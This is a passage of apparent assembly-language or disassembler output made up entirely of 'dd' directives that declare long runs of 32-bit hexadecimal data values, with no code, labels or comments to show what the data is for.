89058255h, 0CAD49185h, 0E86CA1AEh, 22B7758Dh, 0A4059D15h dd 86BD618Bh, 6A1D457Bh, 1C584B88h, 0FBE770h, 0F87BC5F7h dd 9100AB57h, 2B50985Bh, 12EB81FAh, 0EB7AF2E4h, 0FC81D02h dd 49A66688h, 0E584B183h, 4F31AF04h, 0BB00310Dh, 9564DA46h dd 8B40A1D8h, 1D9D09DEh, 85351462h, 0F7F8404h, 0D75A7840h dd 0FD0E432Bh, 60A03BF5h, 98BF7080h, 0DC02BFA4h, 0BA5EF94Ah dd 0D7F39B3Eh, 8951830Ch, 2815B50h, 0FDB50DBFh, 0B6492F66h dd 0E0D05C29h, 0F619BDEEh, 0E73B2200h, 6272341Ch, 20682D86h dd 80144D1h, 0D20A6C77h, 31B0302Fh, 0C4235B5h, 91161194h dd 88EEE905h, 32F9A520h, 4CB4CCA5h, 9529AB8Ah, 0DD0C3188h dd 7FCA2B30h, 0F714CB40h, 0B0F09B66h, 0B7011806h, 0B529519Dh dd 0AD6B1065h, 44204EC1h, 4021BBAh, 0F5B5073Bh, 0C3D3BC83h dd 0AE4BB9F8h, 25BD16D3h, 96C9E930h, 4228D86Bh, 0C9D301EDh dd 0F953FCCFh, 25FC2E5Bh, 80697DFDh, 689EBD65h, 2463E8A8h dd 1A9AF7BBh, 0C607C755h, 0A6745BE5h, 5156DB69h, 0D94889A4h dd 0EB947B2Eh, 955034D3h, 0BF730077h, 131D1EBCh, 0B537BD23h dd 3562BF08h, 0C2A05E2Ah, 9AD5820Fh, 738062D0h, 7C66ADC3h dd 0B709AE90h, 5D36DAA1h, 0AF27A584h, 6A2E9B2Dh, 480F0B91h dd 4B175877h, 0D3C7CE06h, 80A898E9h, 0F1B5010Bh, 923D381Ah dd 5677D31h, 9D2997D5h, 4BE2F9F1h, 4F27B58Ah, 6789F7BDh dd 0F95719DFh, 0BB72302Fh, 20098BEBh, 53E1FF70h, 0CEBD70FCh dd 0E5E7BE25h, 1F68113Ch, 0ADC0F1BFh, 1D852965h, 419C970Ch dd 203F6B45h, 0D7450D6Dh, 49183C00h, 1CAEBF96h, 0E284004Dh dd 8D3DAC67h, 94975E93h, 0ED6AEB4Ch, 0DEE80Ah, 0A57FA2FDh dd 92E231A7h, 38174448h, 703041E9h, 16512595h, 0A7141FF5h dd 0DC535CB0h, 1D503A16h dd 0AED65FBCh, 0F1BC3F16h, 426EABD2h, 0EAAC9916h, 1EDFCE02h dd 0FF44FDF9h, 4F01A738h, 0B4BC45E9h, 2529575Dh, 64EECD5Fh dd 0D8A56016h, 9532B002h, 8EBBCB98h, 2BBEBA18h, 4BF906Bh dd 382CC713h, 5F8DBB50h, 0AD90BE64h, 8205633Fh, 4959C29Ch dd 0B54658D5h, 27E0D24Dh, 0B757DF5h, 0F925FBEAh, 0FCC455h dd 6FC39665h, 0D513C852h, 0EF2F4509h, 76C5D7FFh, 0B82EBA00h dd 1266246Fh, 0FF618DBFh, 0B72B32CDh, 8BD00168h, 635F0B1Fh dd 0D16DF93Ah, 8C09001Ch, 0E5879DEBh, 0E4C218C7h, 6BB168D4h dd 76258991h, 0F3F30ADh, 0DE5F8A31h, 0B92F3BA1h, 9867B816h dd 2D0920DFh, 0E23CB725h, 703DDF36h, 4F974D81h, 0B0F115F5h dd 963FFDF8h, 20E908B7h, 95AA8917h, 12FCF818h, 3AF3CA4Ah dd 0E9FE8A04h, 8A9EBB86h, 9529FCC1h, 3A5DC265h, 0DEA1042Fh dd 9DD398FBh, 1CE254Bh, 0A0D6A65Fh, 5F9860h, 0C9BD1E56h dd 0BFD78A12h, 535CA409h, 0C407742Fh, 96444007h, 3997E74Ch dd 0A6613C89h, 6EA1EFBFh, 9CB421E6h, 0F800EB9Ah, 7175EAA7h dd 179DCA8h, 19EF815Dh, 2F72D288h, 75040313h, 0C0172DC5h dd 50FAB050h, 80DC78EDh, 29BBED7Eh, 0DCF2D3h, 4D6C90CBh dd 7DAB23D4h, 0E89F1B00h, 0E001C781h, 5F3C2575h, 0B382FFC6h dd 68FD205Fh, 5E7A4FB9h, 0B4B237Dh, 0FFA280EFh, 5B4BCB72h dd 4C46D580h, 0FC3BF965h, 26F74F18h, 94975E0h, 6A9CFC02h dd 0D53223CDh, 0B314E8C6h, 77E9E0h, 2BE260A3h, 5FF62Ch dd 0BB3A4924h, 0B757A4CCh, 5B302D16h, 78DA7282h, 0FDE2CB6Dh dd 0ED5DC542h, 6115643Eh, 9620A3C1h, 0B053D225h, 47B7F9B3h dd 0D443AE5Dh, 8D01B909h, 0B70258A1h, 46497653h, 0F78100DFh dd 7C5DD6D2h, 0BDB544E9h, 0A87DA71Bh, 0F918A377h, 973179EEh dd 54F2F11Dh, 0F4B5D47Fh, 0B3E6E542h, 0A1245037h, 1849325Eh dd 42F671F8h, 0E50A0553h, 1C912702h, 69E19623h, 0C0022740h dd 0CFFB1EC5h, 4C181A79h, 2BCAB100h, 0BF58DE94h, 19B3125Dh dd 58D1E36Eh, 72D52DC4h, 61B525F6h, 47D8A6DBh, 9EA9EFAh dd 4998FBD5h, 7B00C45Bh, 3A1CED59h, 96590h, 9D24F3A0h dd 576C929Ah, 544F190h, 83CD04BBh, 0B95B62A7h, 83E9D3EAh dd 0A40B36A8h, 0FF1D5DE1h, 21FD1B09h, 0CCF38059h, 9FFBB445h dd 1702933Ah, 7711B9BDh, 54498D51h, 6001D4A6h, 58225509h dd 5C8A7896h, 0F4D12A8Dh, 9F091646h, 675E4769h, 0F46DF5E9h dd 0B11E0240h, 0C7BD0BE4h, 0D85BEAAh, 1E4914Dh, 36F52E95h dd 0B43AA67Eh, 7F57B072h, 0BF03D359h, 0F7F923AFh, 0C6B5552Bh dd 4C36ECA5h, 3F07D3C4h, 52FAC9D5h, 20F46B26h, 85E87916h dd 0EE220516h, 0F6B60864h, 0BC0F90A0h, 0F9758497h, 91FB3BEh dd 782F9DBBh, 526F9F4Ah, 95207D61h, 0F5F5BF24h, 97F94930h dd 3253A050h, 0BFCD5EF5h, 5B440CB8h, 0EF33CC2h, 8A735FCEh dd 0AE853D13h, 23E46BAEh, 2FCC0616h, 0DF5C6A8Ch, 0D8A6602Eh dd 1265BB50h, 584C449Dh, 0E7976CEh, 9468599h, 877ABD18h dd 0CF000B97h, 0C2ED4045h, 99F6A82h, 44F259E4h, 18233FA2h dd 4D745401h, 0DCC696CCh, 3D3740CEh, 0A9FEC516h, 8E25716h dd 212E9CBAh, 8B407C96h, 0A30D64h, 0AB588DA0h, 0B4BA450h dd 8A135F75h, 0D66F96FCh, 0EB5E9913h, 26AA88h, 411B4F3Dh dd 56D4EAA4h, 257EB500h, 0E952B6CEh, 52AB853h, 7DD9D2DCh dd 938CEE5Eh, 406B004Fh, 77446EFh, 409A0A4h, 0D74BB565h dd 5357336Ah, 3539F856h, 3DE5A500h, 4E16544Ch, 0E09097B2h dd 1B01CDD2h, 0E1A0E7CFh, 0A93BC3C1h, 0CA76A9B3h, 9C4F680Eh dd 71B9A040h, 2C4FAB24h, 0EB4E4AF8h, 0CF087C52h, 0BB61130Ah dd 5AB0D34h, 0BB37F03Ah, 3080AE2Ah, 0C9DCEDAh, 2F8C8D0Bh dd 65AE18CCh, 0F7599FE4h, 0DDCB4707h, 0C1F97900h, 0B705772Bh dd 46401856h, 939B3Bh, 1250E9ACh, 0B60C2ABh, 0B54B3E04h dd 63FC46D1h, 81C40980h, 3B27FBA0h, 2DD07C5Bh, 0CE362290h dd 10E14102h, 7767C673h, 0B852065Bh, 12C0D998h, 8C20E5Fh dd 0B38F02BEh, 118C0ECFh, 38B58A4Bh, 0A8DE4F6Bh, 0BCE2E185h dd 0CBF88180h, 61CAFE6Ch, 5CF823A9h, 1BCE209h, 9BB94A35h dd 2F25A749h, 0F400D934h, 3B071D1Bh, 0F67AE1C6h, 0C0A7F295h dd 9805FD07h, 1E5D257Fh, 5DDAD8DEh, 2001A335h, 4D9DA96Ah dd 0A472852Ah, 0D54BBD1Dh, 31E92E04h, 9B5EDFBCh, 3EAC80DEh dd 5B27D7E6h, 794E8860h, 0E92CF495h, 2549447Fh, 0E4DA9589h dd 0BD336117h, 258B0EB4h, 0F4EEF8C1h, 0BBF3597h, 0D48B80F5h dd 6AF0367Ah, 0F4E666E1h, 850C85FFh, 38D2AF0Dh, 0FC6D7F6Ah dd 0AE54A4E1h, 26E33974h, 8284B02h, 0F8301FF9h, 0BB14F8A6h dd 7FC2D0F7h, 1A13855Eh, 10BCE584h, 71A6E4Fh, 4926FFB6h dd 0DEAF17E0h, 0C4A24FC1h, 0FBB0B07Eh, 0B2985D8Ah, 0DEB7B509h dd 7A6A124Eh, 5282048Dh, 0A3BA6A5Bh, 89BB3A30h, 0F733AB63h dd 52435095h, 54A691B5h, 37006B63h, 36307222h, 0D300064Dh dd 0F75E8B01h, 74969EC3h, 0FC8F5E76h, 0FA60CD3Dh, 8B22AC2h dd 61143001h, 49DD4B8Fh, 2A88679h, 626DF0BEh, 0FF61D13Eh dd 0BCEF39D1h, 1CF401D4h, 0DD9509B3h, 5B987A04h, 89DC00D8h dd 936441DBh, 400050C7h, 7A94679Ah, 1360143Fh, 0A236CC6Dh dd 0BB968861h, 59F1892Dh, 51086E24h, 0EBE072Dh, 611D0045h dd 0B7B7026Ah, 0F8770287h, 7A431B93h, 80F2D4C0h, 90B0F31Fh dd 5F505BC9h, 0DE31329Ah, 5B0ED4E6h, 38289F00h, 8ADFFEB1h dd 77419772h, 95AC9CD9h, 89121350h, 0E9C2FE85h, 80855161h dd 0E8EE74BFh, 80280F2Dh, 43F3751Bh, 0DAE0BF7Bh, 9C00DBBEh dd 4062DC1Bh, 1AEBA7Ch, 0F3E6815Fh, 707073F8h, 679769AAh dd 13B0130Ch, 0BC43B905h, 18104899h, 0D20EAD13h, 6E74DF58h dd 4BAABDC5h, 9DFC50E8h, 0C141BF63h, 0A97B4DD4h, 3F8FE8F3h dd 5581103Ch, 819D2BFFh, 0D08A6E15h, 736C6025h, 1E758D10h dd 659D3104h, 0D6610928h, 14A5088Fh, 0BD2B5305h, 59169FB9h dd 0B8D6E961h, 0D2058C19h, 0B79314D0h, 0EB8ACDFBh, 0B273EAFCh dd 0E6AEBC34h, 89F9A532h, 0E5C0AF92h, 0C46D9529h, 0B2FF6AEBh dd 0E3F2001Eh, 185F7AB4h, 7FA32D12h, 330B0D7h, 0B6A8B02Fh dd 0EE02ADE3h, 57521B25h, 828BDD4Eh, 54B52A22h, 0DCBC088h dd 0B051F844h, 0AD40C6A1h, 62975FADh, 100CDE4Dh, 0B7DD4027h dd 0D8F5C725h, 0BB530745h, 843BED59h, 2C97E95Bh, 5E6BFAF6h dd 17DEADB1h, 0E078F547h, 2151B501h, 0D88B63C6h, 9B819760h dd 0C11499Dh, 0C6BF2D66h, 1508457Ch, 0C87A2D0Ah, 0D403DF2h dd 52C81E2Bh, 0E0795223h, 0A9D5B2Ah, 30108F70h, 0FDAFE925h dd 0F683FEABh, 5F8A4C44h, 52119077h, 0B6F21683h, 80DBEC2Eh dd 0C1CAA718h, 54870096h, 9D84F6E3h, 6DF2B73Ah, 2725E69Fh dd 72425F5Bh, 7EA0EF18h, 0D5E76A03h, 907D3501h, 16DA781h dd 344C1DF9h, 3BBEC122h, 45A62B8Dh, 899D04B3h, 7DF80905h dd 81023CECh, 184853C7h, 15B13805h, 2572169Dh, 96F70F99h dd 0D788823Ch, 4995F1B9h, 14347A8Fh, 4E846CBDh, 8060016Fh dd 2E20D7C7h, 0CFB317C2h, 7A07B61h, 3EFD426Ch, 0A5D6CFF0h dd 0B7494B38h, 0ACB34D39h, 95C8C4BAh, 7EB9051Fh, 0BD31F041h dd 643A09C9h, 0AB6AAE87h, 0AE8A0212h, 1FCE4D0h, 9C94B8Dh dd 8CD3F526h, 3E191D51h, 57C2D9E8h, 0D3E8F335h, 0DE9DD22Bh dd 59A9257Bh, 0A9000D64h dd 0EABE5BBFh, 0CAFDF6h, 3DDDD60Fh, 0E3C92CB4h, 0F3042EB4h dd 0E3AECCD7h, 0F781C07Ch, 4F680A02h, 814EDB5Dh, 0B5D41F8Eh dd 25142FF4h, 1477BF90h, 0A9BB005Ch, 3ADEA6ECh, 6800DB6Ah dd 4A64323Fh, 243D5552h, 2D95F0FCh, 5D30897Fh, 0B5976266h dd 97199181h, 0BC254BCh, 0B868ADBDh, 9209E781h, 5D238C15h dd 0BD6169C5h, 0BC050625h, 97D51373h, 0AAE024A6h, 0C24E5946h dd 5C25808Ah, 0D26F404Fh, 76FF2009h, 1646D427h, 0C9CD080Ah dd 21790997h, 9E11776h, 927E69B5h, 8D82E1C3h, 0E7DD1BADh dd 0B4D62DBAh, 0DE81DE27h, 0D182384Bh, 51A274D9h, 51B61476h dd 0CA58AF5Bh, 0ED301198h, 9C082F1Dh, 60F88921h, 2DC3256h dd 0F6139330h, 50E2F774h, 7DEA89F5h, 7DABF963h, 37D7E19Ah dd 1EF980CFh, 0FE86E03Eh, 0DEB3C613h, 0B1E269A4h, 4D384FBh dd 0C36AB8EEh, 85A59D23h, 899CABBh, 2F2AD5B5h, 0F998907Dh dd 8FBC027Bh, 346C0959h, 60580057h, 0BB9E1B2h, 561BE54Eh dd 0BE310A87h, 7DB05AA3h, 905840C7h, 0DD5B8501h, 0DBFA7A95h dd 9687C0AFh, 0A7FF3Dh, 0FE33C1BBh, 9D8D891Bh, 0D8A30A5Bh dd 47BB6682h, 3A34435Dh, 0FBA65353h, 5C4C381Fh, 6488BB80h dd 585851BAh, 0E3B85AEAh, 4CDB5E0h, 302ED989h, 0F81BB34h dd 897EF80Bh, 0FC39FE85h, 0E9EE5007h, 0C10C027Ch, 72709777h dd 0A22C6557h, 60027FB9h, 16DD08D5h, 0D4C29CD1h, 2DABAA59h dd 257DE410h, 0E5E5C9A6h, 0FCC55D52h, 0AA378996h, 215F6391h dd 0ECB557C2h, 65801C91h, 4D5ACE41h, 89F1E995h, 0F0FCF66Bh dd 27EDFE4Fh, 0EBF4B529h, 3235F5A7h, 0E764C25h, 901FEAF1h dd 0B04BFB22h, 785A097Dh, 0B26D971Eh, 1C03E3C0h, 9600970h dd 9A40A9BDh, 117C8D31h, 295BAEBFh, 0F4950B52h, 8DC42D81h dd 54304000h, 4E82FE2Ah, 0A5F10B66h, 92F75B79h, 7B84F570h dd 432DBA2Ah, 95B0CC36h, 89002C74h, 0AD68668Bh, 0BFEDAA86h dd 0BBC07B51h, 69F38B2Dh, 4B5E123Dh, 7049AA40h, 0F643008Eh dd 0CCB17624h, 0DE2562DAh, 0B1FF061h, 12747D52h, 507892DBh dd 84D94E56h, 88E7BE94h, 0FDCC82A0h, 3091A1A0h, 0BC609080h dd 17DF40E1h, 0F625B1A0h, 0FF9A5D0Ah, 61CB7F60h, 0DFB0DEABh dd 37BF905Fh, 0EEDD0244h, 0BAD6A829h, 0ACA22113h, 0A0CDA6D2h dd 1E49AD7h, 7C1913ECh, 9E3F1BDDh, 96203162h, 0DE5E3F73h dd 30C5C001h, 9AFA723h, 0CE29CCAEh, 6065DBD1h, 86802BBCh dd 0D7710A05h, 41478800h, 4B1D9ED8h, 0F94002C2h, 0CFE7805Ah dd 9123C557h, 0E9935014h, 20AC284Ah, 5F47DC5h, 5C8BFD0h dd 0FB83B7CAh, 5CF923DAh, 0C505CA81h, 8D09C690h, 0EE0106B5h dd 0AC730DB5h, 947A8585h, 0E0ADE6D6h, 524FA22Dh, 4ECDCBD6h dd 27B43E59h, 9E6D4EB5h, 7FF5C481h, 0A5392h, 118CAEBFh dd 8CA6494Bh, 0D73219B2h, 6E654920h, 0A9B0EB80h, 7D61B525h dd 1101F9BDh, 66A7DEDDh, 0BD3C753Ch, 49DB1E2Dh, 16BD66AFh dd 0D2999D29h, 98F55114h, 0B766B35Ah, 3127CC5Ah, 0D26665B5h dd 0A78B795Dh, 97D637DEh, 2D6F4430h, 24EA984Fh, 18A666A6h dd 0D119252Dh, 0DD5C69FDh, 79A702D4h, 0B07F4706h, 5122737Fh dd 2084C319h, 16FB4977h, 0A0A79412h, 0D19F0D07h, 74BD472Ch dd 9F5CE80Ch, 7C3F4267h, 1DE0DC72h, 77F98B25h, 0EC2D9035h dd 66CF09DBh, 435F4F60h, 7DE9D433h, 7C8C1AACh, 90B40450h dd 9226E61Fh, 80011662h, 56AD72D3h, 1413785Ch, 10F9CABBh dd 0C14B1FF9h, 2A4CC74Bh, 16C8729Ah, 0C272D4C0h, 50DA278Ah dd 37DD30DFh, 0B59290E3h, 0F07BDD53h, 0F606C538h, 67B4268Eh dd 95AC555Bh, 0B12DB92Fh, 0E4EB9754h, 165E2D8Dh, 90A00AA7h dd 620908B5h, 0D1AF52F4h, 8E424BB6h, 7287DBD7h, 5A04CE5Dh dd 4E4AAA89h, 1F96C2F9h, 88CD08ECh, 317E970Fh, 49D6C8h dd 963092F6h, 0EEFFAEE0h, 0F279FB09h, 5A5B46A4h, 8E89C860h dd 0E67FCD04h, 0C2AF1486h, 95A48DEFh, 80A4A859h, 0A6E69FF9h dd 0BE5E0EE0h, 4AA05277h, 25A57566h, 37E36302h, 5D61D3F8h dd 18919EB5h, 0DE8DF680h, 0EBA38FD7h, 0BF6647FCh, 0BD2B74B0h dd 0A71D4B7Dh, 0DD8650DAh, 0D7B701EFh, 0B7F84448h, 0CE5A1BD3h dd 47870EE9h, 0DA006866h, 2C25843Eh, 0C5C590BFh, 7F5B122Eh dd 88F1F264h, 0AD78AD35h, 5C8A21E2h, 32F96BC3h, 756D6B01h dd 46D0E25Ah, 0C43E011Ah, 0E6EA6BCh, 0D1022F63h, 77799531h dd 38015CD3h, 50F6C7C9h, 0B4EEF77Eh, 7155DDCh, 0C9806460h dd 44708BFFh, 383C4BDh, 7DCB27A6h, 0C09F26FBh, 1B3EDB50h dd 0B1B5BB00h, 0E95F3486h, 0CB8B97F9h, 97DE6A7Eh, 50974CD6h dd 0B73FC8EEh, 8260C4C9h, 0FFF13B4Bh, 0C16BB18Eh, 3D86AB37h dd 0C507F97h, 5F46D981h, 0A917C00Ah, 6BFA616Fh, 63984A11h dd 52CD6021h, 907467C7h, 50EAB717h, 0FF10B3EDh, 13E91107h dd 4F050D00h, 8CE125F3h, 966C4300h, 0BD939A44h, 0D35A0BECh dd 3A42CB15h, 8370327Bh, 9473173Eh, 0F9780B46h, 3AAD9E76h dd 51A84220h, 48B70A87h, 91E0587h, 456FBB15h, 92C7E7Bh dd 4F7192B1h, 0ED97ED78h, 1D76C098h, 890406D3h, 838A46DDh dd 953E87E2h, 3500DEBEh, 0A28D7261h, 0A12D1B6Fh, 0C92D5EC1h dd 60FC12FFh, 0B511F5C1h, 56BF08C6h, 0D5C52586h, 14855A50h dd 0B9A4DD87h, 406B110h, 2A699D2Bh, 568E9CEFh, 0FF5B99C2h dd 4FEE5ED1h, 0CC6F00F6h, 4610F6Bh, 404E5400h, 5FB6C5A8h dd 479325E4h, 0A51A69E5h, 9F8FB73Fh, 6AD3C2A2h, 0C4572902h dd 0C8504A7Ah, 33002201h, 0FEF11163h, 9D441Fh, 28E58E7Ah dd 9E2399BEh, 0BF7B760Fh, 42208598h, 0FFBDC5BEh, 87C13A9Bh dd 3A143895h, 220E9A1h, 8A1621Dh, 82E5535Fh, 5040DB2Dh dd 33034521h, 0E9FF958Ch, 0AA1D4E07h, 38C42437h, 2483CEAEh dd 75258E28h, 8239D9B7h, 54D275D5h, 0E1215F0Ch, 6E236195h dd 0CE419EDDh, 9F3D0BD9h, 0B9BAB807h, 0C2385C04h, 0BB506101h dd 3121A46Ch, 0F080E63Bh, 25BD337Dh, 7AE522EDh, 6EFAF516h dd 8FD94F46h, 9D63607Eh, 597A9CFh, 74BB0E6Ah, 0ED0F296h dd 0F1DB99h, 0D28ED1CDh, 0FDFE25DFh, 6A6590F5h, 0F8564BFFh dd 63A680DFh, 956DA91Ah, 0D97C21Ch, 0F06F3D32h, 0A52FB537h dd 0F4905C0Eh, 0B24CF312h, 362258F6h, 23A4497h, 0C816B62Ah dd 0B1FFAC77h, 6F60A742h, 46B04DBEh, 1085D10h, 9D3170E6h dd 0E23B093Dh, 0C3810481h, 59BD5568h, 85C40138h, 0F42A992Dh dd 2C465A23h, 6A46BD07h, 0C620885Fh, 5CF6ABh, 9939BBDDh dd 3B06E5E4h, 10B5B0B0h, 1D4A15Ch, 0B6F15927h, 2F0D83A3h dd 80C46717h, 60CF63B8h, 90D1FA49h, 919D0182h, 2B610110h dd 0A13689C8h, 43DB7405h, 111A599Dh, 2399BE9h, 0B2369F0h dd 2D1541D7h, 77F18100h, 5EB13917h, 50850500h, 0B747554Ch dd 356D1510h, 0A65AF100h, 0B543232Ch, 0ED3BE739h, 98A25B7Dh dd 0D0221D10h, 0DB9D3EBEh, 654092B3h, 4CE925F8h, 12533A76h dd 0F63335D0h, 9F372247h, 0EA12351Bh, 0BFE82309h, 99EEC8A5h dd 37BFF507h, 0E5A0BEB4h, 243F07D5h, 14AFEFDBh, 0BC647695h dd 4FCBAE45h, 147ECC0Bh, 802D3757h, 0FD51FC2Ch, 2524624Bh dd 6516967Ah, 0BE5684FEh, 0BBC1DC9Bh, 3C0EBDD5h, 0CB81C0D3h dd 5BE06C56h, 0C497E964h, 37452135h, 123CF90Fh, 0F4E911A1h dd 9F700CA9h, 3273BC00h, 11929170h, 7848BBFCh, 7F0769E7h dd 0FBAB5162h, 4C25CF9h dd 0B8EA39E3h, 0EDBB8043h, 3404516Bh, 0E1C5D22Bh, 62F77E86h dd 0AAE6F5h, 9A821231h, 0F557C021h, 25919460h, 0B25F2F3Bh dd 28F0D59Fh, 57590997h, 2D3F16BDh, 0C2C809C1h, 9C4F5FEAh dd 76BDE844h, 0E3220CADh, 80659597h, 790CB960h, 94F1F24h dd 0E84AD7E2h, 2E7112D9h, 217AEAh, 31A16BFEh, 16B337D4h dd 31697B34h, 0E4CBA549h, 0C20045B6h, 0DC0282EAh, 2D53E55Bh dd 0F30247D9h, 9E5D1425h, 3F47450Fh, 3331DF35h, 4289DE8Bh dd 0B75D2871h, 84189176h, 4A82DF0Dh, 0FF4D909Dh, 250898E1h dd 7AE71C61h, 5F042E09h, 9807C23Dh, 0F92B0F88h, 0DAD02B2h dd 825E0AABh, 0ED6A1451h, 950BE8B5h, 0BD38934Ch, 98CE4BB9h dd 0BF5CA934h, 0B9C06E9Bh, 3ED73758h, 0B3217F04h, 14C069FEh dd 0B982874h, 60F98A24h, 70707773h, 0FBE200D0h, 0A20D7DFDh dd 291248EFh, 0F25699BDh, 0CE2F1401h, 162F0E45h, 0E0C0A6CFh dd 2F7AD3F1h, 0D97ECCE4h, 85E9BB60h, 0F7F60214h, 0D7381EEBh dd 0A475DBC2h, 3E85F4Dh, 59345B4Ch, 38E5B993h, 539F70EDh dd 0E27A78E5h, 8DFA4D0Eh, 6D2DA29Ah, 0A54C5CB7h, 12F4B47Ch dd 0AF081407h, 766D970Bh, 0FA4DEB1Fh, 72C75540h, 0AB3413E3h dd 20DDAC9Ch, 60500906h, 0C075D48Ah, 69E780EDh, 0E6FF6615h dd 87411710h, 9F7BC96h, 0DE5652B4h, 92B36284h, 0FA6D8157h dd 31FD4DB7h, 4E1EFD2Bh, 15AC91BDh, 0A7EA258Ch, 0CCBFFE6h dd 0E969E149h, 2C8EF87Ah, 0F568D70Bh, 5D022909h, 359FC396h dd 0B9D1F9Dh, 0B4740A7Fh, 414D8D58h, 136731Fh, 64D4DB81h dd 0AD6B725Eh, 84AF92CEh, 0F7CAEEC4h, 11271CA0h, 4295ED44h dd 97425221h, 0ABA491F6h, 5DFD3B16h, 0EAF5958Eh, 0BF465B76h dd 8BA4D35h, 81260A39h, 6DA4F812h, 16F125BDh, 49F59EEh dd 9BFA1238h, 80465C62h, 83FDD9B9h, 0AB4000C7h, 1F5B8E18h dd 90BD0FDBh, 9765889Dh, 8B5BE9B8h, 1EBFDFC7h, 0CC015F43h dd 0A6E06981h, 0B14827F5h, 68B72758h, 4E5720C2h, 1D3D3442h dd 0D074B0D9h, 7971C4B5h, 409200E1h, 0E3F93BCCh, 1F1CB685h dd 838FA18Ch, 1BA622C4h, 0BFE67F6Eh, 0EB19681Eh, 5C0A3E40h dd 0E026691h, 5EB3A9D8h, 0BEC62532h, 59842B9Bh, 0AC28BDF8h dd 3B008C1Bh, 53139E76h, 0B7B0E26Fh, 97AED098h, 0D0F9B602h dd 7DF330F5h, 0C1B0B9DAh, 0B0E2120h, 0E9B5095Fh, 2C9C02D2h dd 0DC8A123Ah, 0FDF5F7E8h, 26EDA83Ah, 39F72894h, 72A53005h dd 2BC2F109h, 0D60A5F28h, 2243E83Bh, 0F380121Eh, 0AE20F3E5h dd 51163748h, 25E29105h, 1382F0Fh, 25F8A18h, 77089953h dd 39AD8C7h, 0E6D3752Ah, 486A3570h, 95053AECh, 0F2FC12B3h dd 5F220BF5h, 0F2AB77B0h, 0EEF72D4Ah, 439EB4EDh, 71F19F61h dd 0BB15C443h, 2E7FB178h, 7CCD54Bh, 5BF1366h, 339AFBE9h dd 32D6097h, 68255B01h, 42DFCCBFh, 0BD107A8Eh, 960B2839h dd 6E74DA8Bh, 0C47D769h, 2E30FD25h, 0B79D965Bh, 0A1DB01D0h dd 7B9D4901h, 0E1C92FE0h, 0D1C58104h, 0F0E63A1Fh, 8A3016F2h dd 1433486Fh, 482A1910h, 4B5D3B7Ah, 19F2D1A6h, 3225532h dd 7B7F30EDh, 10B4F80Eh, 6D652C13h, 800207FFh, 0BD29A0EBh dd 0B99722F5h, 0F1D0BF42h, 0C9245886h, 0E6676404h, 0C22CBC2Fh dd 0D48D0FFCh, 0B45694C5h, 5F4B5D32h, 69E36D77h, 9F02DF7Bh dd 75FFD3E4h, 6D88C90h, 0F4057000h, 8149FD6Fh, 12E10B73h dd 0E65C4D52h, 5D131DE2h, 355DA832h, 393003Fh, 9ADBECCCh dd 16736016h, 78D97309h, 9A379572h, 0B22E2A01h, 0C1CA9C2Bh dd 0F32909E4h, 448F3604h, 0D37FBD25h, 0A5A038B6h, 9D73F208h dd 3736DA09h, 807F7975h, 0E8FDF9BBh, 5B9F6A43h, 0C2567837h dd 9C471D09h, 4EE059C7h, 9280428h, 3D30D120h, 6D5DB750h dd 6BD8532Dh, 5BEC0B14h, 0B6BD9620h, 38C1AACh, 0A8B9F941h dd 0BAC54254h, 0EFB11C16h, 0F4AEAC3Bh, 0EBE043F6h, 2102D3A6h dd 660983BFh, 1D97596h, 8DFE5313h, 0AFCCDF81h, 702173DDh dd 2D897F08h, 73D17585h, 2BEB5CBh, 0AC205E8Ah, 25C7FC60h dd 17635A4h, 81237D20h, 0B23B8592h, 85338F4Ch, 38BA2D69h dd 9EAF5E3Ch, 0E07850C0h, 0A6340230h, 0D381CE96h, 0BA209C3h dd 93426E77h, 0B75D58FFh, 1B489304h, 4AFAC6F8h, 81A7A9D5h dd 5C9127BFh, 0BF3D2E5Dh, 0CA85E3Dh, 0F79BE927h, 14BF7920h dd 2EE5604Ch, 64B74730h, 88E87790h, 0E6F84E24h, 0FF1AC101h dd 0A70CCFBAh, 1DF1E8h, 0D04FCCB4h, 66A8BBCBh, 2347D824h dd 544BE20h, 130EB952h, 9D807090h, 0A1A418D9h, 2AE9F8F0h dd 0F7B86CFDh, 4E307A1Fh, 0E4EF8E45h, 1B05A6C1h, 5E1DDE06h dd 0D4A61518h, 0F6E5776Bh, 0BB09D525h, 9AB32058h, 23A8778h dd 0F2BDB1C9h, 0F640F020h, 0D1BD6650h, 0DE42D52h, 0DD06100h dd 0A84F34D7h, 24D4951Ah, 5F2C2FDEh, 7CC9107Fh, 0E4FA0CBBh dd 6052530Fh, 5DAE295Bh, 0D681C093h, 1CDF3772h, 7E9D8925h dd 0E6324EA8h, 331AB24Ch, 0B68DDE98h, 88411714h, 0C78009EDh dd 8547714Eh, 0D3D1B589h, 99ACFF79h, 0EFBD201Ah, 0BB781201h dd 4AC10838h, 0F49EBC2Bh, 6AAAC1BAh, 506E3E02h, 3E3A4A00h dd 609071B3h, 32004598h, 5B3DBBB8h, 97610CCBh, 0BE011654h dd 79C1BD56h, 0F0D6167Ah, 770FBAD2h, 924274Bh, 0AD603790h dd 740C9FEh, 2F0BAB21h, 0D67EA99Dh, 0E7FEF944h, 10A4F0C8h dd 2D6A037Ch, 0FAD8ADA5h, 3BBD23B1h, 0E912F0F8h, 8440E3EFh dd 233E1868h, 0BF7C0014h, 7BED825Eh, 0FC0BA298h, 5D7E42C5h dd 7EACEEB5h, 98594CE0h, 0B03E00EEh, 31AE68F4h, 2F580985h dd 2D0184EDh, 87B26042h, 5125BF72h, 64715Bh, 23096656h dd 4B022C8Eh, 0C54061F3h, 0C04E5CDEh, 0F2DBD89h, 6057DC9Fh dd 0B6ADA348h, 9BDA7700h, 0F5C8F450h, 4DA80918h, 6873CEB8h dd 0DA181A71h, 2D235600h, 0BB26E5C4h, 0B0131275h, 6964E36Ah dd 422F5FEEh, 9DDBBAB7h, 1D9BED81h, 5EE32C8Ah, 80D307ABh dd 3B7309F3h, 0B792682Fh, 7FDC9F14h, 44075908h, 6E16BA29h dd 0ACA831BAh, 0DDC20808h, 0FA25BE41h, 7E823C0h, 0B93E688h dd 77A5CF49h, 92FE5D8Bh, 0E2BE5F44h, 4C2E4898h, 28602666h dd 0F7193509h, 0B85FE046h, 17BA6E8h, 35166DB2h, 0E4FE92ECh dd 2E4C4F8Ah, 50D00235h, 5C615E03h, 0E1F99237h, 258D2033h dd 0C82B82A8h, 0C191BB01h, 0D18B431Ch, 0E9FE7E84h, 0DB44CC5Dh dd 49380DB8h, 2B44124Eh, 0BB2F12EBh, 22BB9388h, 33D2BC2Eh dd 0E972D8FAh, 0C4923458h, 70AE3161h, 0C9B5294Ch, 19220147h dd 0B4EDB323h, 